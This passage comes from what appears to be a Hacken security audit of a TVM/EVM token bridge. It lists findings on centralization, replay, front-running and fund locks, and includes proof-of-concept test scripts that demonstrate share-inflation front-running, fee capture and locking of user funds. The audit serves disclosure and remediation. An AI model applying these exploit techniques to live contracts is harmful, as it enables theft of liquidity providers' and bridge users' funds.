- **Centralization Concern**: The function is governed by the `onlyOwner` modifier. This centralization is a potential weak point, especially if the owner's access becomes compromised or the owner keys are inadvertently exposed.
- **Implications of Misconfiguration**: Given the importance of relay configurations in bridge operations, any erroneous or malicious updates to the `roundRelaysConfiguration` could potentially disrupt bridge functionalities or, in worst-case scenarios, result in a total loss of funds within the bridge.

Potential Misconfiguration of Solana Settings

ID	VNR-007
Commit	f739553

Description

The `setSolanaConfiguration` function allows for updating the `solanaConfiguration` settings, and this can introduce substantial operational risks:

- **Misconfiguration Concern**: The ability to modify Solana settings without any checks can lead to unintended consequences. Incorrectly setting these parameters might disrupt the correct functioning of the system or open up vulnerabilities.
- **Unlimited Mint Risk**: Depending on the exact nature and usage of the `solanaConfiguration` settings, direct modifications can potentially pave the way for unwanted actions, including an unlimited mint of tokens, which would critically undermine the system's security and integrity.
- **Recommended Improvement**: Implementing a timelock mechanism would add an additional layer of security. This means changes to Solana configurations would be delayed by a certain period, allowing stakeholders or automated systems to review and potentially revert harmful changes before they take effect. Given the criticality of ev settings, it might also be prudent to introduce multi-signature confirmations or a decentralized approval process for such updates.

Potential Loss of Valid Bridge Operations in `updateRoundTTL()` Function

ID	VNR-008
Commit	f739553

Description

The `updateRoundTTL` function provides the means to adjust the `roundTTL` parameter, which likely determines the life cycle or validity of a bridge operation round. This introduces certain concerns:

- **Potential Loss of Operations**: If a bridge operation is valid but hasn't been executed on the EVM side and the `roundTTL` expires, there is a risk that this valid operation could be lost. Users who fail to take necessary actions within the specified `roundTTL` may inadvertently miss out on their bridge operations, leading to potential loss or inconvenience.

- **Dependence on User Actions**: The system appears to rely on users taking certain actions within the confines of the `roundTTL`. This expectation could be problematic, especially if users are unaware of the importance of acting within this timeframe or if unforeseen issues prevent them from doing so.

Potential Misuse of Unverifiable callHash in `addDelegate()` Function

ID	VNR-009
Commit	f739553

Description

The `addDelegate` function facilitates the addition of a `callHash` associated with an address in the `delegators` mapping. However, it presents a notable risk:

- **Unverifiable `callHash`**: The function takes in a `callHash` as an argument, the content and purpose of which are not immediately clear from the given context. Without any verification or checks in place for this `callHash`, it's conceivable that any data can be encoded and stored for future utilization, potentially hiding malicious or unexpected behaviors. This lack of transparency and validation can become a security blind spot, especially if the `callHash` has a significant impact on system operations or user interactions.

- **Lack of Inspection Mechanism**: Once the `callHash` is stored, there seems to be no straightforward way to inspect, review, or determine what it represents. This lack of insight can make it challenging to audit or troubleshoot the system, further accentuating the risk.

Centralization Concerns and Potential Fund Losses with Manager Role

ID	VNR-010
Commit	f739553

Description

The public variable `manager` holds an address that presumably has significant privileges or control within the system. This presents a stark security risk:

- **Centralization Concern**: The `manager` role seems to be a singular point of authority or decision-making within the system. Centralization can lead to various vulnerabilities, especially if the control is not distributed or if there aren't multiple checks and balances in place.

- **Potential Fund Loss through Alien Token Merge Pools**: If the `manager`'s keys get exposed or compromised, it's indicated that each alien token merge pool's configuration or behavior can be altered. Such unauthorized or malicious modifications can result in the potential misdirection or loss of funds.

Centralization and Potential Fund Loss Due to `roundSubmitter` Key Exposure

ID	VNR-011
Commit	f739553

Description

The `forceRoundRelays` function permits a specific authority, the `roundSubmitter`, to forcibly determine relay rounds. This carries substantial risks:

- **Intense Centralization Risk**: The function's design grants sole power to the `roundSubmitter`. This centralized control means that if the `roundSubmitter`'s private keys are compromised, malicious actors could potentially exercise unrestricted control over the function.

- **Potential Complete Bridge Fund Loss**: Considering the authority this function provides to the `roundSubmitter`, a compromise could lead to disastrous scenarios, potentially including the loss of all funds within the bridge.

Out-of-Scope Dependency Concern in TokenRootUpgradeable.tsol Import

ID	VNR-012
Commit	f739553

Description

The code imports an external dependency, specifically `TokenRootUpgradeable.tsol`, from the `ton-eth-bridge-token-contracts` repository. This presents a risk:

- **Unverified Dependency Source**: Any vulnerabilities, bugs, or undesired behaviors within the imported `TokenRootUpgradeable.tsol` contract might inadvertently impact the security and functioning of the code that relies on it.

- **Maintainability Concerns**: The code's sustainability and upgradability are dependent on this external dependency. If the source repository undergoes major changes, gets deprecated, or has breaking updates, it might lead to compatibility issues.

- **Transparency Limitations**: Since the content and logic of the `TokenRootUpgradeable.tsol` are not immediately available within the provided context, there's a limited ability to review and assess potential risks or issues within this dependency.

Potential User Funds Lock in the `withdraw()` Function

ID	VNR-013
Commit	f739553

Hacken OÜ
Parda 4, Kesklinn, Tallinn
10151 Harju Maakond, Eesti
Kesklinna, Estonia
support@hacken.io

Description

The `withdraw` function allows for fund withdrawals but contains a mechanism that can potentially lock user funds:

- **Withdrawal Restrictions**: The `onlyActive` modifier restricts withdrawals to active states only. In emergency scenarios, even if withdrawals are allowed, the `onlyActive` modifier can halt or pause them, effectively locking user funds.
- **User Impact**: Any situation where users cannot access their funds, even momentarily, undermines the trustworthiness of the system and could result in financial implications for the affected users.

Dynamic `electionTime` during Voting in the `endElection()` Function

ID	VNR-014
Commit	f739553

Description

The `endElection` function is designed to conclude an election. However, it is identified that the `electionTime` can be altered while voting is ongoing:

- **Dynamic Voting Period**: The check `now >= (round_details.currentElectionStartTime + relay_config.electionTime)` is dependent on `relay_config.electionTime`. If `electionTime` can be modified during the election, it affects the election's ending time. This poses risks like:
  - **Extended Voting Time**: If the `electionTime` is increased, it may allow more time for voting than initially anticipated.
  - **Premature Voting End**: Conversely, if the `electionTime` is decreased, the voting could end prematurely, potentially undermining the voting process.
- **Unpredictable Election Duration**: This dynamic behavior can lead to unpredictability in the election process. Stakeholders might not be able to strategize or make decisions based on a known timeframe.

Potential Withdrawal of Tokens by Relays during Inadequate Elections

ID	VNR-015
Commit	f739553

Description

The `processWithdraw` function allows for token withdrawals and has a specific condition to handle relay roles in elections. However, there's a risk identified where a relay might withdraw tokens while still being required for signing transactions.

- **Multiple Elections with Insufficient Candidates**: If there are multiple elections where the number of candidates is less than the required minimum number of relays (`minRelay`), a relay could potentially withdraw its balance and yet continue to be counted for transaction signings.
  - **Withdrawal During Active Role**: The relay can withdraw its tokens using the `processWithdraw` function, even though it might still be needed for its relay responsibilities.
  - **Risk to Bridge Operations**: This could potentially disrupt the normal operations of the bridge, as a relay that has withdrawn its tokens may not have the necessary stake to ensure reliable and secure transaction signing.

Gas Insufficiency in TVM Call Chain Execution

ID	VNR-016
Commit	f739553

Description

According to the TVM architecture, the cost of executing a call chain may be influenced by various low-level factors, such as the time the contract was last accessed, gas price, storage fees, and other dynamic system parameters. If insufficient gas is attached to a call chain, it can lead to unexpected execution failures, potentially resulting in the loss or locking of user funds.

- **Variable Gas Costs**: TVM's execution cost can vary depending on dynamic factors, making it challenging to accurately estimate the required gas for a transaction. This unpredictability can lead to gas shortages during execution.
- **Failure and Fund Loss**: If a transaction runs out of gas before completion, it may fail, and any changes made during the execution may not be finalized. This could result in funds being locked or lost, as the transaction is fulfilled partially.
- **Recommended Precaution**: It is highly advisable to simulate transactions before sending them to the blockchain, such as using a wallet extension. Simulations can help identify potential gas shortages and provide an opportunity to attach additional reserve gas to cover possible edge cases, ensuring the transaction's successful execution and minimizing the risk of fund loss.

Transaction Replay Vulnerability in `sendTransaction()` Function

ID	VNR-017
Commit	f739553

Description

The `sendTransaction` function in the `@broxus/contracts/contracts/wallets/Account.tsol` wallet implementation is vulnerable to transaction replay attacks. The `everscale/contracts/utils/Wallet.tsol` contract directly imports it without any additional changes.

- **Replay Vulnerability**: The function is susceptible to validators replaying failing external messages, which can lead to the depletion of the contract's balance.
- **Validation Weakness**: The vulnerability is due to the reliance on a hidden `timestamp` variable, which stores the creation time of the last accepted external message. Errors occurring after `tvm.accept()` revert the variable update, enabling validators to include the same external message multiple times.
- **Potential Impact**: This vulnerability could result in the complete loss of the wallet's balance, and its impact is considered to be high.
- **Precaution and Improvement**: Consider off-chain measures to prevent the vulnerability, such as enforcing the `flag` to contain the `+2` modifier.

Hacken OÜ
Parda 4, Kesklinn, Tallinn
10151 Harju Maakond, Eesti
Kesklinna, Estonia
support@hacken.io

Issues

Share Inflation and Front-Running in MultiVault Contracts

The MultiVault contract code has a share inflation vulnerability. This vulnerability arises when a user supplies a minimal amount of liquidity (e.g., 1 wei) initially, enabling them to influence the `token-to-share` ratio. A subsequent larger deposit by another user can be manipulated by the initial depositor, potentially leading to financial losses.

ID	VN-036
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetLiquidity.sol : `mint()`
Commit	f739553
Impact	High
Likelihood	High
Severity	CRITICAL
Vulnerability Type	Economic Manipulation / Share Inflation / Front-Running
Status	Fixed in b5559c5

Description

MultiVault contracts allow users to supply liquidity and generate LP (Liquidity Provider) tokens. The ratio between the supplied asset and the minted LP tokens should represent an accurate reflection of the user's proportion in the liquidity pool. However, due to the vulnerability, this ratio can be manipulated.

One of the primary concerns that worsens vulnerability is the potential for front-running. An attacker can monitor pending transactions on the EVM network, particularly those involving substantial liquidity provision by a user, and engage in front-running activities. This is accomplished by injecting a minimal amount of liquidity, such as `1 wei`, and manipulating the `token-to-share` by additional `bridge deposit`, effectively increasing the `token.cash` variable used in expected shares calculations. All of this is executed prior to the processing of the larger liquidity deposit. This malicious action establishes the initial `token-to-share` ratio in their favor, further enhancing their ability to exploit the vulnerability when the larger deposit is eventually made.

An user, unaware of the initial minimal deposit, provides a significant amount of liquidity, with expectation that they receive a proportionate amount of LP tokens.

Given the manipulated initial `token-to-share` ratio due to front-running, any subsequent large deposit can lead to the LP tokens being undervalued. This results in the user making the large deposit receiving fewer LP tokens than anticipated.

Attacker who made the initial minimal deposit can benefit by converting their LP tokens to a disproportionately larger amount of the underlying asset, essentially profiting from the second user's loss.

Impact

This vulnerability can lead to disproportionate gains for malicious actors, leading to potential economic losses for genuine liquidity providers. It can undermine the trust in the protocol and negatively affect its adoption.

Proof of Concept

The provided test case demonstrates this vulnerability:

- Bob, the attacker, provides an initial 1 wei liquidity.
- Bob makes a deposit, which increases the token.cash variable.
- Alice attempts to add a large liquidity amount (e.g., 10 tokens).
- Due to the skewed LP-to-asset ratio set by Bob, Alice gets a significantly reduced amount of LP tokens (0 in demonstrated test case).
- Bob redeems his LP tokens and gets an amount higher than he should have due to Alice's deposit.

```
const { encodeEverscaleEvent, expect, ...utils } = require("../utils");
const { ethers } = require("hardhat");
const recipient = {
  wid: 0,
  addr: 123123,
};
const LP_BPS = ethers.BigNumber.from(10_000_000_000);
describe("Test share inflation vulnerability", async () => {
  let multivault, token, lp_token;
  let owner, alice, bob;
  const initial_balance = ethers.utils.parseUnits("100000", 18);
  const deposit_amount = ethers.utils.parseUnits("50000", 18);
  const liquidity_deposit_bob = "1";
  const interest = 1000; // 10%
  it("Setup contracts", async () => {
    await deployments.fixture();
    owner = await ethers.getNamedSigner("owner");
    alice = await ethers.getNamedSigner("alice");
    bob = await ethers.getNamedSigner("bob");
    multivault = await ethers.getContract("MultiVault");
    token = await ethers.getContract("Token");
    await multivault.connect(owner).setDefaultInterest(interest);
    await token.connect(alice).approve(multivault.address, initial_balance);
    await token.connect(bob).approve(multivault.address, initial_balance);
  });
  it("Bob (the attacker) supplying 1 wei as initial liqudity and make deposit to increase token.cash", async () => {
    await expect(() =>
      multivault
        .connect(bob)
        .mint(token.address, liquidity_deposit_bob, bob.address)
    ).to.changeTokenBalances(
      token,
      [bob, multivault],
      [
        ethers.BigNumber.from(0).sub(liquidity_deposit_bob),
        liquidity_deposit_bob,
      ]
    );
    const lp_token_address = await multivault.getLPToken(token.address);
    lp_token = await ethers.getContractAt("MultiVaultToken", lp_token_address);
    const deposit =
      multivault.connect(bob)[
        "deposit(((int8,uint256),address,uint256,uint256,bytes))"
      ];
    const deposit_value = ethers.utils.parseEther("0.1");
    const deposit_expected_evers = 33;
    const deposit_payload = "0x001122";
    await deposit(
      {
        recipient,
        token: token.address,
        amount: deposit_amount,
        expected_evers: deposit_expected_evers,
        payload: deposit_payload,
      },
      { value: deposit_value }
    );
  });
  it("Alice attempts to add liqudity to token", async () => {
    const initial_tokens_bob = await multivault.convertLPToUnderlying(
      token.address,
      liquidity_deposit_bob
    );
```

```
    const liquidity_deposit_alice = ethers.utils.parseUnits("10", 18);
    await expect(() =>
      multivault
        .connect(alice)
        .mint(token.address, liquidity_deposit_alice, alice.address)
    ).to.changeTokenBalances(
      token,
      [alice, multivault],
      [
        ethers.BigNumber.from(0).sub(liquidity_deposit_alice),
        liquidity_deposit_alice,
      ]
    );
    lp_balance = await lp_token.balanceOf(alice.address);
    expect(lp_balance).to.be.equal("0", "Wrong liquidity supply");
    const new_tokens_bob = await multivault.convertLPToUnderlying(
      token.address,
      liquidity_deposit_bob
    );
    expect(new_tokens_bob).to.be.gt(
      initial_tokens_bob,
      "Wrong expected token amount"
    );
  });
});
```

Recommendation

- **Ineffective Mitigations**:
  - Several methods might appear to address the vulnerability but fall short:
    - Minimum Initial Deposit: By setting a high minimum deposit requirement, the initial `token-to-share` ratio becomes less manipulatable. However, the vulnerability persists if the initial depositor immediately withdraws almost all their deposit, leaving a tiny amount.
    - Non-Zero Share Return: A mitigation that ensures each deposit returns a non-zero share might seem effective. However, attackers can still manipulate the deposit process, making the mitigation ineffective.
- **Recommended Mitigations**:
  - To effectively address the share inflation vulnerability:
    - Trusted Initial Deposit: Ensure that the initial deposit comes from a trusted entity. This ensures the initial ratio of `assets-to-share` is set correctly, keeping the contract safe from the vulnerable state.
    - Burn LP on Initial Deposit: During the initial deposit, `burn` a portion of the shares by sending them to an unrecoverable address, like the zero-address. This action would prevent any user from setting the contract in a vulnerable state.

Invalid Fee Beneficiary Handling for Zero Liquidity

Unintended fee accumulation due to improper liquidity check in `MultiVaultHelperFee` contract.

ID	VN-035
Paths	./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperFee.sol : `_increaseTokenFee()`
Commit	f739553
Impact	High
Likelihood	Medium
Severity	HIGH
Vulnerability Type	Invalid Validation

Status	Fixed in b5559c5

Description

In the `_increaseTokenFee()` function of the `MultiVaultHelperFee` contract, a check is made to ascertain if the liquidity of a token was ever activated using the condition `(s.liquidity[token].activation == 0)`.

However, the logic does not consider a scenario where the liquidity could have been activated, then subsequently all of it removed. In such an instance, the logic continues to treat the token as if liquidity is present, leading to an undesired accumulation of fees.

The function executes the following code segment:

```
...
    if (s.liquidity[token].activation == 0) {
        amount = _amount;
    } else {
        uint liquidity_fee = _amount * liquidity.interest / MultiVaultStorage.MAX_BPS;
        amount = _amount - liquidity_fee;
        _increaseTokenCash(token, liquidity_fee);
    }
...
```

This inconsistency emerges due to the lack of a proper check on the current state of liquidity, especially when all liquidity had been added and later fully removed.

Impact

This inconsistency could give rise to situations where fees are improperly distributed. In the absence of liquidity, the protocol should collect this fee. Misallocation of fees can introduce unintended economic implications for both the users and the protocol.

Proof of Concept

To reproduce this vulnerability:

- Add liquidity for a specific token. This will set the activation for the token to a non-zero value.
- Remove all liquidity for this token. Now, the supply for the token becomes zero, but activation remains non-zero.
- Deposit tokens to trigger `_increaseTokenFee()` function.
- Observe that the fees are not directed to the protocol despite zero liquidity. This is due to the check solely relying on activation without considering supply.

```
const { encodeEverscaleEvent, expect, ...utils } = require("../utils");
const { ethers } = require("hardhat");
const recipient = {
  wid: 0,
  addr: 123123,
};
const LP_BPS = ethers.BigNumber.from(10_000_000_000);
describe("Test multivault liquidity supply", async () => {
  let multivault, token, lp_token;
  let owner, alice, bob;
  const initial_balance = ethers.utils.parseUnits("100000", 18);
  const deposit_amount = ethers.utils.parseUnits("20000", 18);
  const liquidity_deposit = ethers.utils.parseUnits("10000", 18);
  const interest = 100; // 1%
  it("Setup contracts", async () => {
    await deployments.fixture();
    owner = await ethers.getNamedSigner("owner");
    alice = await ethers.getNamedSigner("alice");
    bob = await ethers.getNamedSigner("bob");
    multivault = await ethers.getContract("MultiVault");
    token = await ethers.getContract("Token");
```

```
  await multivault.connect(owner).setDefaultInterest(interest);
  await token.connect(alice).approve(multivault.address, initial_balance);
  await token.connect(bob).approve(multivault.address, initial_balance);
});
it("Bob add and remove liqudity for token", async () => {
  await expect(() =>
    multivault
      .connect(bob)
      .mint(token.address, liquidity_deposit, bob.address)
  ).to.changeTokenBalances(
    token,
    [bob, multivault],
    [ethers.BigNumber.from(0).sub(liquidity_deposit), liquidity_deposit]
  );
  expected_tokens = await multivault.convertLPToUnderlying(
    token.address,
    liquidity_deposit
  );
  // Bob removes liqudity before any interest earned
  await expect(() =>
    multivault
      .connect(bob)
      .redeem(token.address, liquidity_deposit, bob.address)
  ).to.changeTokenBalances(
    token,
    [multivault, bob],
    [ethers.BigNumber.from(0).sub(expected_tokens), expected_tokens]
  );
  const lp_token_address = await multivault.getLPToken(token.address);
  lp_token = await ethers.getContractAt("MultiVaultToken", lp_token_address);
});
it("Alice deposits alien token", async () => {
  const deposit =
    multivault.connect(alice)[
      "deposit(((int8,uint256),address,uint256,uint256,bytes))"
    ];
  const deposit_value = ethers.utils.parseEther("0.1");
  const deposit_expected_evers = 33;
  const deposit_payload = "0x001122";
  await deposit(
    {
      recipient,
      token: token.address,
      amount: deposit_amount,
      expected_evers: deposit_expected_evers,
      payload: deposit_payload,
    },
    { value: deposit_value }
  );
  const new_liquidity = await multivault.liquidity(token.address);
  // liquidity.cash increased as there is no check for s.liquidity[token].supply == 0
  expect(new_liquidity.cash).to.be.gt("0", "Wrong liquidity cash");
  // s.liquidity[token].supply = 0
  expect(new_liquidity.supply).to.be.equal("0", "Wrong liquidity supply");
});
it("Bob makes a profit", async () => {
  await expect(() =>
    multivault
      .connect(bob)
      .mint(token.address, liquidity_deposit, bob.address)
  ).to.changeTokenBalances(
    token,
    [bob, multivault],
    [ethers.BigNumber.from(0).sub(liquidity_deposit), liquidity_deposit]
  );
  lp_balance = await lp_token.balanceOf(bob.address);
  expected_tokens = await multivault.convertLPToUnderlying(
    token.address,
    lp_balance
  );
  // Bob removes liqudity
```

```
    await expect(() =>
      multivault.connect(bob).redeem(token.address, lp_balance, bob.address)
    ).to.changeTokenBalances(
      token,
      [multivault, bob],
      [ethers.BigNumber.from(0).sub(expected_tokens), expected_tokens]
    );
    // Bob withdraw all acumulated interests
    bob_balance = await token.balanceOf(bob.address);
    expect(bob_balance).to.be.gt(initial_balance, "Wrong balance");
  });
});
```

Recommendation

- Modify the logic to incorporate a check for the current supply of liquidity in addition to the activation. This ensures fees are allocated correctly, reflecting the current liquidity status.
- The condition should be updated to:

```
...
    if (s.liquidity[token].activation == 0 || s.liquidity[token].supply == 0) {
        amount = _amount;
    }
...
```

Funds Loss Due To Initialization Front Run

Contracts with an unprotected `constructor()` designed to be initialized by an external call, and allowing a specific user (specified in the constructor or an arbitrary one), to withdraw funds, may be vulnerable to takeover after the top-up and can be exploited by attackers.

ID	VN-062
Paths	./everscale/contracts/bridge/hidden-bridge/EventCloser.tsol: `constructor()` ./everscale/contracts/bridge/hidden-bridge/EventDeployer.tsol: `constructor()` ./everscale/contracts/bridge/hidden-bridge/Mediator.tsol: `constructor()` ./everscale/contracts/dao/DaoRoot.tsol: `constructor()` ./everscale/contracts/staking/StakingV1_2.tsol: `constructor()`
Commit	f739553
Impact	Medium
Likelihood	High
Severity	HIGH
Vulnerability Type	TVM Specific
Status	Fixed in b5559c5

Description

The TON-Solidity contract deployment process implicitly consists of 2 stages:

1. Deploying static variables and code (calculating the expected address based on the data and storing it there).
2. Initializing the contract with a constructor call (`constructor` is a special function that modifies the service `_constructorFlag` variable used to ensure that the contract is properly initialized before any method call).

```
bool constructorFlag;
constructor() {
    if (constructorFlag) revert();
    constructorFlag = true;
    ...
}
anyMethod() {
    if (!constructorFlag) revert();
    ...
}
```

According to this process, the deployment is not holistic, and any transaction may be executed between code deployment and contract initialization. This leads to several risks:

1. Contracts with unprotected constructors may be overtaken during deployment, requiring the deployer to fix the issue and try again.
2. Contracts with unprotected constructors designed to be initialized by an external call may be overtaken after the top-up, making funds inaccessible.
3. Contracts with unprotected constructors designed to be initialized by an external call and allowing a specific user (specified in the `constructor` or an arbitrary one) to withdraw funds may be overtaken after the top-up and be griefed by the attacker.
4. Contracts designed to be deployed automatically (from a root contract) may be pre-deployed and overtaken, potentially breaking the entire system's life-cycle.

```
constructor(_configuration) public {
    tvm.accept();
    configuration = _configuration;
}
function drain(receiver, value) public {
    receiver.trancfer{ value }();
}
// or
function upgrade(code) public {
    ...
    tvm.setcode(code);
    tvm.setCurrentCode(code);
    onCodeUpgrade(...);
}
```

As the functions contain `tvm.accept()` execution, it is assumed that initialization will be performed via an external call. These contracts do provide functionality for balance withdrawal or contract upgrade to arbitrary code. Therefore, the [3rd] risk is applicable.

Impact

Front-run initialization is profitable for an attacker, anyone can initialize the contracts. A fixed amount of funds supplied for contract initialization may be withdrawn by an attacker.

Recommendation

Provide a value for the hidden `pubkey` state variable during deployment and perform the `msg.pubkey == tvm.pubkey()` check during initialization.

Potential Funds Lock on Close Event in `TVM` to `EVM` Bridge

The `EverscaleEthereumBaseEvent.sol` contract exhibits a potential funds lock vulnerability, allowing the event initializer to lock funds if relayers do not vote within the 1-day `FORCE_CLOSE_TIMEOUT` period, posing a risk to user funds.

ID	VN-037
Paths	./everscale/contracts/bridge/event-contracts/base/evm/EverscaleEthereumBaseEvent.tsol : `close()`

Commit	f739553
Impact	High
Likelihood	Medium
Severity	HIGH
Vulnerability Type	Logic Bug / Funds Lockup
Status	Mitigated in b5559c5
Resolution	with customer notice: `Increased FORCE_TIMEOUT to 3 days. Minting tokens back would significantly affect every part of the bridge architecture, which is unacceptable.`

Description

The `EverscaleEthereumBaseEvent.sol` contract within the bridge functionality, which serves as a bridge event between `TVM` and `EVM`, possesses a potential funds lock vulnerability.

Specifically, after burning alien tokens on TVM side, the `onAcceptTokensBurn()` function is triggered from `TokenRootBase` contract. This function, in turn, initiates a new `EverscaleEthereumBaseEvent` event.

Once the event is deployed, the initializer (in this context, `gasBackAddress_`) has the capability to invoke the `close()` function. This function is designed to transfer all gas back to the `gasBackAddress_`.

However, there are certain situations where, if relayers abstain from voting on this event for a mere day (`FORCE_CLOSE_TIMEOUT` is set to 1 day), the initializer can subsequently call this `close()` function.

This leads to a dire situation where users may potentially lose their alien tokens, as the `close()` function does not mint the alien tokens back to the user's custody.

Impact

- **User Funds Loss**: Users could potentially lose their tokens due to this vulnerability, leading to financial loss and diminished trust in the platform. Given the bridge's critical nature, it is imperative to address this vulnerability promptly.

Proof of Concept (POC)

The code snippet below showcases the vulnerable functionality:

```
logger.log(
  `Before burning, amount: ${amount}, balance of user: ${balance.value0}`
);
const tx = await locklift.tracing.trace(
  initializerAlienTokenWallet.methods
    .burn({
      amount,
      remainingGasTo: eventCloser.address,
      callbackTo: proxy.address,
      payload: burnPayload.value0,
    })
    .send({
      from: initializer.address,
      amount: locklift.utils.toNano(10),
    })
);
const balance2 = await initializerAlienTokenWallet.methods
  .balance({
    answerId: 0,
```

```
  })
  .call();
logger.log(`userBalance right after burn: ${balance2.value0}`);
logger.log(`Event initialization tx: ${tx.id.hash}`);
const events = await everscaleEthereumEventConfiguration
  .getPastEvents({ filter: "NewEventContract" })
  .then((e) => e.events);
expect(events).to.have.lengthOf(
  1,
  "Everscale event configuration failed to deploy event"
);
const [
  {
    data: { eventContract: expectedEventContract },
  },
] = events;
logger.log(`Expected event address: ${expectedEventContract}`);
eventContract = await locklift.factory.getDeployedContract(
  "MultiVaultEverscaleEVMEventAlien",
  expectedEventContract
);
logger.log(
  "eventCloser is calling `close` function after 1 day before relayers."
);
await locklift.tracing.trace(
  eventContract.methods.close().send({
    from: eventCloser.address,
    amount: locklift.utils.toNano(0.1),
  })
);
const balance3 = await initializerAlienTokenWallet.methods
  .balance({
    answerId: 0,
  })
  .call();
logger.log(`After closing event userBalance: ${balance3.value0}`);
```

```
    ✔ Check initializer token balance
    - Before burning, amount: 333, balance of user: 1000
    - userBalance right after burn: 667
    - Event initialization tx: 068be23e06b0ad5b4127a0258da8fb4fef4e3ae58cd7094fbeb52eb22e68b2b8
    - Expected event address: 0:75f93fcdd3173aa1e268581117377ba94fa0fe655e4bba88daeed6529049c1fc
    - eventCloser is calling `close` function after 1 day before relayers.
    - After closing event userBalance: 667
```

As demonstrated, if the status of the event is not changed within `FORCE_CLOSE_TIMEOUT` (set to 1 day), the funds can be locked by the event initializer.

Recommendation

1. **Refactor Close Function**: To prevent potential funds lock, modify the `close()` function to ensure that alien tokens are minted back to the original sender.
2. **Extend Timeout Duration**: Consider increasing the `FORCE_CLOSE_TIMEOUT` to a more lenient timeframe to give relayers ample time to vote.

Centralization Risk Due to Owner's Access to User Funds in ProxyMultiVaultAlien Contract

The owner of the `ProxyMultiVaultAlien` contract possesses unrestricted control over the minting and burning of tokens, leading to a potential abuse of power, undermining token value, and posing a threat to user assets.

ID	VN-033

Paths	./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7_Token.tsol: `mint()` and `burn()` ./everscale/contracts/bridge/interfaces/proxy/multivault/alien/IProxyMultiVaultAlien_V7.tsol: `mint()` and `burn()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	**MEDIUM**
Vulnerability Type	Centralization Risk
Status	Fixed in b5559c5

Description

The `ProxyMultiVaultAlien` contract contains two functions, `mint()` and `burn()`, which are only accessible by the owner (as enforced by the `onlyOwner` modifier). These functions allow the owner to mint new tokens and burn existing tokens.

1. **Mint Function**: The `mint()` function enables the owner to create new tokens for a specified recipient, with the provided amount. This poses a significant risk as the owner has the power to arbitrarily increase the supply of tokens, which can lead to devaluation and undermine the trust of token holders.

2. **Burn Function**: Similarly, the `burn()` function allows the owner to destroy a specified amount of tokens from a user's account. This means the owner has the capability to deplete user funds without their consent, posing a severe threat to user assets.

Such centralized control is against the decentralized ethos of blockchain-based applications and introduces a significant point of failure. If the owner's keys are compromised, or if the owner acts maliciously, it could lead to substantial losses for users.

Impact

- **User Funds at Risk**: With the ability to burn user tokens, user funds are directly at risk.
- **Token Value**: The arbitrary minting of tokens can lead to devaluation, eroding trust and undermining the project's value proposition.
- **Reputation**: Centralized control can lead to a loss of trust among users and potential backlash from the community, affecting the project's reputation.
- **Regulatory Concerns**: Such control can also attract regulatory scrutiny if the project is seen as having too much centralized control over user assets.

Recommendation

1. **Restrict Minting and Burning**: If these functions are intended for testing or administrative purposes only, it's crucial to restrict their use in production. Create a mock contract on top of the `ProxyMultiVaultAlien` for testing, separate from the main contract.
2. **Decentralize Control**: Consider introducing a decentralized governance mechanism or multi-signature requirements to authorize minting or burning of tokens. This can reduce the risk associated with a single point of control.

Code Snippets

Current Implementation:

```
function mint(
    address token,
    uint128 amount,
    address recipient,
    TvmCell payload
```

```
) external override onlyOwner reserveAtLeastTargetBalance {
    _mintTokens(
        token,
        amount,
        recipient,
        msg.sender,
        payload
    );
}
function burn(
    address token,
    uint128 amount,
    address walletOwner
) external override onlyOwner reserveAtLeastTargetBalance {
    TvmCell empty;
    IBurnableByRootTokenRoot(token).burnTokens{
        value: 0,
        flag: MsgFlag.ALL_NOT_RESERVED,
        bounce: false
    }(
        amount,
        walletOwner,
        msg.sender,
        msg.sender,
        empty
    );
}
```

Inconsistent Native Token Replacement Across `EVM` and `TVM` Chains

The mechanism that allows native TVM tokens to be replaced by other native TVM tokens during `deposit` could result in users receiving a different token than expected on the `TVM` side.

ID	VN-012
Paths	./ethereum/multivault/multivault/facets/MultiVaultFacetDeposit.sol : `_deposit()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	**MEDIUM**
Vulnerability Type	Inconsistent Behavior across Chains
Status	Mitigated in b5559c5
Resolution	The ability to set new or replace old custom tokens has been removed. In the `_deposit()` func tion, the logic for custom tokens is still present for backward compatibility, but in its current form, it poses no risk.

Description

The `multivault` implementation provides the Governance with the capability to replace a native TVM token with another native TVM token. However, during the `deposit` process, especially in the `_deposit()` function, the expected behavior of replacing tokens is inconsistent.

Users expecting to receive a specific native TVM token might find themselves credited with a different token, due to the implementation of custom token replacement.

This behavior is not transparently conveyed to the users and can lead to confusion, unpredicted outcomes, and potential financial imbalances between chains.

```
...
address token = s.tokens_[d.token].custom == address(0) ? d.token : s.tokens_[d.token].custom;
if (isNative) {
IMultiVaultToken(token).burn(
    msg.sender,
    d.amount
);
d.amount -= fee;
_transferToEverscaleNative(d, fee, msg.value);
} else {
    if (tokens_owner != address(this)) {
        IERC20(token).safeTransferFrom(
            tokens_owner,
            address(this),
            d.amount
        );
    }
    d.amount -= fee;
    _transferToEverscaleAlien(d, fee, _value);
}
...
```

Impact

This discrepancy can result in:

- Users might receive a different native TVM token than anticipated, potentially leading to financial discrepancies.
- Ambiguity regarding the token replacement mechanism can undermine trust in the bridge functionality and operations.
- Potential financial and reputational risks may arise as a result of unforeseen token exchanges.

Recommendation

- **Re-evaluate the Token Replacement Mechanism**: Consider whether it is indeed necessary to replace one native TVM token with another. If it poses risks or deviates from the project's main goals, consider refining or eliminating this feature.
- **Restructure the Replacement Logic**: Ensure that the logic for custom token replacement is clear and transparent. It should consistently replace the original token with the custom token if specified.
- **Detailed Documentation**: Thoroughly document the token replacement process, highlighting scenarios, expected outcomes, potential risks, and considerations.
- **User Communication**: Inform users transparently about the possibility of receiving a different native TVM token than expected due to the implemented replacement mechanism.

Mismanagement of `fee-on-transfer` Tokens in Deposit Facet

The `deposit()` function does not properly handle tokens with built-in transfer fees, leading to potential discrepancies in token amounts.

ID	VN-002
Paths	./ethereum/multivault/multivault/facets/MultiVaultFacetDeposit.sol : `deposit()` , `_deposit()`
Commit	f739553
Impact	High
Likelihood	Low
Severity	MEDIUM

Vulnerability Type	Invalid Validation
Status	Fixed in b5559c5

Description

The bridge, initially described as a `Cross Chain Bridge for any tokens, supporting EVM and non-EVM blockchains`, does not account for certain custom token types, especially those with built-in transfer fees, like deflationary tokens.

When users deposit these tokens, the bridge contract receives a smaller token amount than expected due to the token's inherent fee mechanism.

```
function _deposit(
    DepositParams memory d,
